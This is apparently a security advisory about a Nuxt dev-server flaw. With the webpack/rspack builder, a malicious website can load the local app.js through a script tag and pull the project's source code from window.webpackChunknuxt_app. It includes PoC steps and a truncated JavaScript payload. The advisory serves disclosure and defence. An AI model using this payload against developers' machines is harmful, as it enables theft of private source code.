Description

Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Summary

Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.

PoC

Create a nuxt project with webpack / rspack builder.

Run npm run dev

Open http://localhost:3000

Run the script below in a web site that has a different origin.

You can see the source code output in the document and the devtools console.

const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
  for (const page in window.webpackChunknuxt_app) {
    const moduleList = window.webpackChunknuxt_app[page][1]
    console.log(moduleList)

    for (const key in moduleList) {...
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It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites.

Mitigation

Aliases

References